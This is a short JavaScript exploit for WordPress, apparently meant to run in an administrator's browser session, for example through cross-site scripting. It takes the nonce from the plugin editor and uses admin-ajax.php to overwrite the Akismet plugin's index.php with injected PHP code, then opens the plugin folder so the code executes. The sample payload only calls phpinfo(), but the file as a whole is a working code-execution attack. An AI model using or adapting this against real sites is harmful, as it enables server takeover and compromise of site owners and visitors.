var exploit = function() {
    var nonce = '';
    var phpcode = '<?php phpinfo();/*';
    var pluginurl = '/wp-admin/plugin-editor.php?plugin=akismet/index.php&Submit=Select';
    var pluginupdateurl = '/wp-admin/admin-ajax.php';
    var file = "akismet/index.php";
    var plugin = "akismet/akismet.php";
    console.log("Get nonce token.");
    jQuery.get(pluginurl, function(data) {
        nonce = jQuery(data).find('#template #nonce').val();
        if(nonce) {
            console.log("Success! nonce: " + nonce);
            var postdata = {
                "nonce": nonce,
                "newcontent": phpcode,
                "action": "edit-theme-plugin-file",
                "file": file,
                "plugin": plugin,
                "docs-list": ""
            }
            console.log("Add PHP code to plugin file.");
            jQuery.post(pluginupdateurl, postdata, function(data){
                console.log("Success!");
                window.open("/wp-content/plugins/akismet/");
            });
        }
    });
}

var h=document.getElementsByTagName('head')[0];
var j=document.createElement('script');
j.onload = exploit;
j.src='/wp-admin/load-scripts.php?load=jquery-core';
h.appendChild(j);